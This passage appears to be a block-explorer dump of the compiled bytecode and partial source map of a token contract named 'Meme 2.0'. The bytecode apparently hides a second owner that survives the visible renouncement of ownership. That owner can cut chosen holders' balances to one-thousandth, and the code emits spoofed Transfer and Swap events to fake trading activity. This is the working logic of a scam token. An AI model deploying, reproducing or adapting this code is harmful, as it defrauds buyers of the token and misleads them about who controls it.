5b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156117f45780820151818401526020810190506117d9565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611819826117bd565b61182381856117c7565b93506118338185602086016117d7565b61183c816117ff565b840191505092915050565b5f6020820190508181035f83015261185f818461180f565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118a182611878565b9050919050565b6118b181611897565b81146118bb575f80fd5b50565b5f813590506118cc816118a8565b92915050565b5f819050919050565b6118e4816118d2565b81146118ee575f80fd5b50565b5f813590506118ff816118db565b92915050565b5f806040838503121561191b5761191a611870565b5b5f611928858286016118be565b9250506020611939858286016118f1565b9150509250929050565b5f8115159050919050565b61195781611943565b82525050565b5f6020820190506119705f83018461194e565b92915050565b61197f816118d2565b82525050565b5f6020820190506119985f830184611976565b92915050565b5f805f606084860312156119b5576119b4611870565b5b5f6119c2868287016118be565b93505060206119d3868287016118be565b92505060406119e4868287016118f1565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611a0f57611a0e6119ee565b5b8235905067ffffffffffffffff811115611a2c57611a2b6119f2565b5b602083019150836020820283011115611a4857611a476119f6565b5b9250929050565b5f805f60408486031215611a6657611a65611870565b5b5f84013567ffffffffffffffff811115611a8357611a82611874565b5b611a8f868287016119fa565b93509350506020611aa2868287016118f1565b9150509250925092565b5f60ff82169050919050565b611ac181611aac565b82525050565b5f602082019050611ada5f830184611ab8565b92915050565b5f60208284031215611af557611af4611870565b5b5f611b02848285016118be565b91505092915050565b5f805f8060608587031215611b2357611b22611870565b5b5f85013567ffffffffffffffff811115611b4057611b3f611874565b5b611b4c878288016119fa565b94509450506020611b5f878288016118f1565b9250506040611b70878288016118f1565b91505092959194509250565b611b8581611897565b82525050565b5f602082019050611b9e5f830184611b7c565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611bda826117ff565b810181811067ffffffffffffffff82111715611bf957611bf8611ba4565b5b80604052505050565b5f611c0b611867565b9050611c178282611bd1565b919050565b5f67ffffffffffffffff821115611c3657611c35611ba4565b5b602082029050602081019050919050565b5f611c59611c5484611c1c565b611c02565b90508083825260208201905060208402830185811115611c7c57611c7b6119f6565b5b835b81811015611ca55780611c9188826118be565b845260208401935050602081019050611c7e565b5050509392505050565b5f82601f830112611cc357611cc26119ee565b5b8135611cd3848260208601611c47565b91505092915050565b5f805f8060808587031215611cf457611cf3611870565b5b5f85013567ffffffffffffffff811115611d1157611d10611874565b5b611d1d87828801611caf565b9450506020611d2e878288016118f1565b9350506040611d3f878288016118f1565b9250506060611d50878288016118be565b91505092959194509250565b5f8060208385031215611d7257611d71611870565b5b5f83013567ffffffffffffffff811115611d8f57611d8e611874565b5b611d9b858286016119fa565b92509250509250929050565b5f8060408385031215611dbd57611dbc611870565b5b5f611dca858286016118be565b9250506020611ddb858286016118be565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e49826118d2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611e7b57611e7a611e12565b5b600182019050919050565b5f6dffffffffffffffffffffffffffff82169050919050565b611ea881611e86565b8114611eb2575f80fd5b50565b5f81519050611ec381611e9f565b92915050565b5f63ffffffff82169050919050565b611ee181611ec9565b8114611eeb575f80fd5b50565b5f81519050611efc81611ed8565b92915050565b5f805f60608486031215611f1957611f18611870565b5b5f611f2686828701611eb5565b9350506020611f3786828701611eb5565b9250506040611f4886828701611eee565b9150509250925092565b5f81519050611f60816118a8565b92915050565b5f60208284031215611f7b57611f7a611870565b5b5f611f8884828501611f52565b91505092915050565b5f611f9b826118d2565b9150611fa6836118d2565b9250828201905080821115611fbe57611fbd611e12565b5b92915050565b5f819050919050565b5f819050919050565b5f611ff0611feb611fe684611fc4565b611fcd565b6118d2565b9050919050565b61200081611fd6565b82525050565b5f6080820190506120195f830187611976565b6120266020830186611ff7565b6120336040830185611ff7565b6120406060830184611976565b95945050505050565b7f43616c6c6572206973206e6f7420746865204f776e65720000000000000000005f82015250565b5f61207d6017836117c7565b915061208882612049565b602082019050919050565b5f6020820190508181035f8301526120aa81612071565b9050919050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f6120e56017836117c7565b91506120f0826120b1565b602082019050919050565b5f6020820190508181035f830152612112816120d9565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6121736025836117c7565b915061217e82612119565b604082019050919050565b5f6020820190508181035f8301526121a081612167565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122016024836117c7565b915061220c826121a7565b604082019050919050565b5f6020820190508181035f83015261222e816121f5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61228f6022836117c7565b915061229a82612235565b604082019050919050565b5f6020820190508181035f8301526122bc81612283565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6122f7601d836117c7565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6123856025836117c7565b91506123908261232b565b604082019050919050565b5f6020820190508181035f8301526123b281612379565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6124136023836117c7565b915061241e826123b9565b604082019050919050565b5f6020820190508181035f83015261244081612407565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6124a16026836117c7565b91506124ac82612447565b604082019050919050565b5f6020820190508181035f8301526124ce81612495565b9050919050565b5f6060820190506124e85f830186611b7c565b6124f56020830185611b7c565b6125026040830184611976565b949350505050565b61251381611943565b811461251d575f80fd5b50565b5f8151905061252e8161250a565b92915050565b5f6020828403121561254957612548611870565b5b5f61255684828501612520565b91505092915050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f612593601e836117c7565b915061259e8261255f565b602082019050919050565b5f6020820190508181035f8301526125c081612587565b9050919050565b5f6125d1826118d2565b91506125dc836118d2565b92508282039050818111156125f4576125f3611e12565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61262e601b836117c7565b9150612639826125fa565b602082019050919050565b5f6020820190508181035f83015261265b81612622565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612699826118d2565b91506126a4836118d2565b9250826126b4576126b3612662565b5b82820490509291505056fea2646970667358221220c8d94f7d83746805f31f84b6c0fe606d3c58096765d633c48dce9659c28c76b264736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a06c1a331161006f578063a06c1a3314610342578063a3c8ad501461035e578063a457c2d71461037a578063a9059cbb146103aa578063dd62ed3e146103da5761012a565b806370a082311461029c578063715018a6146102cc5780638da5cb5b146102d657806395d89b41146102f45780639b792a44146103125761012a565b8063313ce567116100f2578063313ce567146101e657806335d1627414610204578063395093511461023457806356cbfdcf1461026457806366d38203146102805761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019a57806326ededb8146101ca575b5f80fd5b61013661040a565b6040516101439190611847565b60405180910390f35b61016660048036038101906101619190611905565b610443565b604051610173919061195d565b60405180910390f35b610184610459565b6040516101919190611985565b60405180910390f35b6101b460048036038101906101af919061199e565b61045f565b6040516101c1919061195d565b60405180910390f35b6101e460048036038101906101df9190611a4f565b610481565b005b6101ee610554565b6040516101fb9190611ac7565b60405180910390f35b61021e60048036038101906102199190611ae0565b610559565b60405161022b9190611985565b60405180910390f35b61024e60048036038101906102499190611905565b6106e5565b60405161025b919061195d565b60405180910390f35b61027e60048036038101906102799190611b0b565b610714565b005b61029a60048036038101906102959190611ae0565b61089b565b005b6102b660048036038101906102b19190611ae0565b61096d565b6040516102c39190611985565b60405180910390f35b6102d46109b3565b005b6102de610a84565b6040516102eb9190611b8b565b60405180910390f35b6102fc610aa9565b6040516103099190611847565b60405180910390f35b61032c60048036038101906103279190611cdc565b610ae2565b604051610339919061195d565b60405180910390f35b61035c60048036038101906103579190611d5c565b610bc3565b005b61037860048036038101906103739190611b0b565b610d50565b005b610394600480360381019061038f9190611905565b610ed7565b6040516103a1919061195d565b60405180910390f35b6103c460048036038101906103bf9190611905565b610f45565b6040516103d1919061195d565b60405180910390f35b6103f460048036038101906103ef9190611da7565b610f5b565b6040516104019190611985565b60405180910390f35b6040518060400160405280600881526020017f4d656d6520322e3000000000000000000000000000000000000000000000000081525081565b5f61044f338484610fdd565b6001905092915050565b60095481565b5f61046b8433846111a0565b61047684848461122b565b600190509392505050565b5f5b8383905081101561054e578383828181106104a1576104a0611de5565b5b90506020020160208101906104b69190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516105339190611985565b60405180910390a3808061054690611e3f565b915050610483565b50505050565b601281565b5f805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa1580156105c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ea9190611f02565b50915091505f8473ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610671573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106959190611f66565b73ffffffffffffffffffffffffffffffffffffffff16146106c657816dffffffffffffffffffffffffffff166106d8565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b5f803390506107098185856106fa8589610f5b565b6107049190611f91565b610fdd565b600191505092915050565b5f5b848490508110156108945784848281811061073457610733611de5565b5b90506020020160208101906107499190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f80876040516107cc9493929190612006565b60405180910390a38484828181106107e7576107e6611de5565b5b90506020020160208101906107fc9190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108799190611985565b60405180910390a3808061088c90611e3f565b915050610716565b5050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092190612093565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a39906120fb565b60405180910390fd5b5f60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600781526020017f4d454d45322e300000000000000000000000000000000000000000000000000081525081565b5f3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6990612093565b60405180910390fd5b5f5b8551811015610bb657610ba3868281518110610b9357610b92611de5565b5b60200260200101518686866114c9565b8080610bae90611e3f565b915050610b74565b5060019050949350505050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4990612093565b60405180910390fd5b5f5b82829050811015610d4b576001610c91848484818110610c7757610c76611de5565b5b9050602002016020810190610c8c9190611ae0565b61096d565b1115610d38575f610ccb848484818110610cae57610cad611de5565b5b9050602002016020810190610cc39190611ae0565b6103e8611583565b90508060075f868686818110610ce457610ce3611de5565b5b9050602002016020810190610cf99190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b8080610d4390611e3f565b915050610c54565b505050565b5f5b84849050811015610ed057848482818110610d7057610d6f611de5565b5b9050602002016020810190610d859190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75b2fdf4488954cfbe3fad3f07ca6ebf12156d6b897c6df1014d7c51ed322771855f8087604051610e089493929190612006565b60405180910390a3848482818110610e2357610e22611de5565b5b9050602002016020810190610e389190611ae0565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eb59190611985565b60405180910390a38080610ec890611e3f565b915050610d52565b5050505050565b5f803390505f610ee78286610f5b565b905083811015610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2390612189565b60405180910390fd5b610f398286868403610fdd565b60019250505092915050565b5f610f5133848461122b565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290612217565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b0906122a5565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111939190611985565b60405180910390a3505050565b5f6111ab8484610f5b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112255781811015611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e9061230d565b60405180910390fd5b6112248484848403610fdd565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112909061239b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612429565b60405180910390fd5b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561138b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611382906124b7565b60405180910390fd5b61139581836115d3565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061141d60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483611630565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114bb9190611985565b60405180910390a350505050565b6114d3848461168d565b6114de838386611717565b8073ffffffffffffffffffffffffffffffffffffffff1663e156b1b68560015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b815260040161153c939291906124d5565b6020604051808303815f875af1158015611558573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061157c9190612534565b5050505050565b5f6115cb60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054836117a8565b905092915050565b5f82821115611617576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160e906125a9565b60405180910390fd5b5f828461162491906125c7565b90508091505092915050565b5f80828461163e9190611f91565b905083811015611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90612644565b60405180910390fd5b8091505092915050565b8173ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161170b9190611985565b60405180910390a35050565b8073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f808760405161179b9493929190612006565b60405180910390a3505050565b5f81836117b5919061268f565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156117f45780820151818401526020810190506117d9565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611819826117bd565b61182381856117c7565b93506118338185602086016117d7565b61183c816117ff565b840191505092915050565b5f6020820190508181035f83015261185f818461180f565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118a182611878565b9050919050565b6118b181611897565b81146118bb575f80fd5b50565b5f813590506118cc816118a8565b92915050565b5f819050919050565b6118e4816118d2565b81146118ee575f80fd5b50565b5f813590506118ff816118db565b92915050565b5f806040838503121561191b5761191a611870565b5b5f611928858286016118be565b9250506020611939858286016118f1565b9150509250929050565b5f8115159050919050565b61195781611943565b82525050565b5f6020820190506119705f83018461194e565b92915050565b61197f816118d2565b82525050565b5f6020820190506119985f830184611976565b92915050565b5f805f606084860312156119b5576119b4611870565b5b5f6119c2868287016118be565b93505060206119d3868287016118be565b92505060406119e4868287016118f1565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611a0f57611a0e6119ee565b5b8235905067ffffffffffffffff811115611a2c57611a2b6119f2565b5b602083019150836020820283011115611a4857611a476119f6565b5b9250929050565b5f805f60408486031215611a6657611a65611870565b5b5f84013567ffffffffffffffff811115611a8357611a82611874565b5b611a8f868287016119fa565b93509350506020611aa2868287016118f1565b9150509250925092565b5f60ff82169050919050565b611ac181611aac565b82525050565b5f602082019050611ada5f830184611ab8565b92915050565b5f60208284031215611af557611af4611870565b5b5f611b02848285016118be565b91505092915050565b5f805f8060608587031215611b2357611b22611870565b5b5f85013567ffffffffffffffff811115611b4057611b3f611874565b5b611b4c878288016119fa565b94509450506020611b5f878288016118f1565b9250506040611b70878288016118f1565b91505092959194509250565b611b8581611897565b82525050565b5f602082019050611b9e5f830184611b7c565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611bda826117ff565b810181811067ffffffffffffffff82111715611bf957611bf8611ba4565b5b80604052505050565b5f611c0b611867565b9050611c178282611bd1565b919050565b5f67ffffffffffffffff821115611c3657611c35611ba4565b5b602082029050602081019050919050565b5f611c59611c5484611c1c565b611c02565b90508083825260208201905060208402830185811115611c7c57611c7b6119f6565b5b835b81811015611ca55780611c9188826118be565b845260208401935050602081019050611c7e565b5050509392505050565b5f82601f830112611cc357611cc26119ee565b5b8135611cd3848260208601611c47565b91505092915050565b5f805f8060808587031215611cf457611cf3611870565b5b5f85013567ffffffffffffffff811115611d1157611d10611874565b5b611d1d87828801611caf565b9450506020611d2e878288016118f1565b9350506040611d3f878288016118f1565b9250506060611d50878288016118be565b91505092959194509250565b5f8060208385031215611d7257611d71611870565b5b5f83013567ffffffffffffffff811115611d8f57611d8e611874565b5b611d9b858286016119fa565b92509250509250929050565b5f8060408385031215611dbd57611dbc611870565b5b5f611dca858286016118be565b9250506020611ddb858286016118be565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e49826118d2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611e7b57611e7a611e12565b5b600182019050919050565b5f6dffffffffffffffffffffffffffff82169050919050565b611ea881611e86565b8114611eb2575f80fd5b50565b5f81519050611ec381611e9f565b92915050565b5f63ffffffff82169050919050565b611ee181611ec9565b8114611eeb575f80fd5b50565b5f81519050611efc81611ed8565b92915050565b5f805f60608486031215611f1957611f18611870565b5b5f611f2686828701611eb5565b9350506020611f3786828701611eb5565b9250506040611f4886828701611eee565b9150509250925092565b5f81519050611f60816118a8565b92915050565b5f60208284031215611f7b57611f7a611870565b5b5f611f8884828501611f52565b91505092915050565b5f611f9b826118d2565b9150611fa6836118d2565b9250828201905080821115611fbe57611fbd611e12565b5b92915050565b5f819050919050565b5f819050919050565b5f611ff0611feb611fe684611fc4565b611fcd565b6118d2565b9050919050565b61200081611fd6565b82525050565b5f6080820190506120195f830187611976565b6120266020830186611ff7565b6120336040830185611ff7565b6120406060830184611976565b95945050505050565b7f43616c6c6572206973206e6f7420746865204f776e65720000000000000000005f82015250565b5f61207d6017836117c7565b915061208882612049565b602082019050919050565b5f6020820190508181035f8301526120aa81612071565b9050919050565b7f43616c6c6572206973206e6f7420746865206f776e65720000000000000000005f82015250565b5f6120e56017836117c7565b91506120f0826120b1565b602082019050919050565b5f6020820190508181035f830152612112816120d9565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6121736025836117c7565b915061217e82612119565b604082019050919050565b5f6020820190508181035f8301526121a081612167565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122016024836117c7565b915061220c826121a7565b604082019050919050565b5f6020820190508181035f83015261222e816121f5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61228f6022836117c7565b915061229a82612235565b604082019050919050565b5f6020820190508181035f8301526122bc81612283565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6122f7601d836117c7565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6123856025836117c7565b91506123908261232b565b604082019050919050565b5f6020820190508181035f8301526123b281612379565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6124136023836117c7565b915061241e826123b9565b604082019050919050565b5f6020820190508181035f83015261244081612407565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6124a16026836117c7565b91506124ac82612447565b604082019050919050565b5f6020820190508181035f8301526124ce81612495565b9050919050565b5f6060820190506124e85f830186611b7c565b6124f56020830185611b7c565b6125026040830184611976565b949350505050565b61251381611943565b811461251d575f80fd5b50565b5f8151905061252e8161250a565b92915050565b5f6020828403121561254957612548611870565b5b5f61255684828501612520565b91505092915050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f612593601e836117c7565b915061259e8261255f565b602082019050919050565b5f6020820190508181035f8301526125c081612587565b9050919050565b5f6125d1826118d2565b91506125dc836118d2565b92508282039050818111156125f4576125f3611e12565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61262e601b836117c7565b9150612639826125fa565b602082019050919050565b5f6020820190508181035f83015261265b81612622565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612699826118d2565b91506126a4836118d2565b9250826126b4576126b3612662565b5b82820490509291505056fea2646970667358221220c8d94f7d83746805f31f84b6c0fe606d3c58096765d633c48dce9659c28c76b264736f6c63430008140033

Deployed Bytecode Sourcemap

1579:8560:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2248:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4241:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2392:51;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4407:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7906:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2350:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7156:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4663:242;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8138:338;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7806:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3805:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3714:83;;;:::i;:::-;;1660:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2295:48;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6780:358;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7454:336;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8496:325;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4913:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3930:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4088:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2248:40;;;;;;;;;;;;;;;;;;;:::o;4241:158::-;4315:4;4332:37;4341:10;4353:7;4362:6;4332:8;:37::i;:::-;4387:4;4380:11;;4241:158;;;;:::o;2392:51::-;;;;:::o;4407:248::-;4529:4;4546:41;4562:4;4568:10;4580:6;4546:15;:41::i;:::-;4598:27;4608:4;4614:2;4618:6;4598:9;:27::i;:::-;4643:4;4636:11;;4407:248;;;;;:::o;7906:210::-;7995:9;7990:119;8014:11;;:18;;8010:1;:22;7990:119;;;8076:11;;8088:1;8076:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8059:38;;8068:6;;;;;;;;;;;8059:38;;;8092:4;8059:38;;;;;;:::i;:::-;;;;;;;;8034:3;;;;;:::i;:::-;;;;7990:119;;;;7906:210;;;:::o;2350:35::-;2383:2;2350:35;:::o;7156:290::-;7221:7;7242:16;7260;7282:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7241:60;;;;;7312:24;7358:5;7340:23;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;;7339:65;;7395:8;7387:17;;7339:65;;;7375:8;7367:17;;7339:65;7312:92;;7422:16;7415:23;;;;;7156:290;;;:::o;4663:242::-;4751:4;4768:15;4786:10;4768:28;;4807:68;4816:7;4825;4864:10;4834:27;4844:7;4853;4834:9;:27::i;:::-;:40;;;;:::i;:::-;4807:8;:68::i;:::-;4893:4;4886:11;;;4663:242;;;;:::o;8138:338::-;8283:9;8278:189;8302:11;;:18;;8298:1;:22;8278:189;;;8382:11;;8394:1;8382:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8347:50;;8353:10;;;;;;;;;;;8347:50;;;8365:3;8370:1;8373;8376:4;8347:50;;;;;;;;;:::i;:::-;;;;;;;;8434:11;;8446:1;8434:14;;;;;;;:::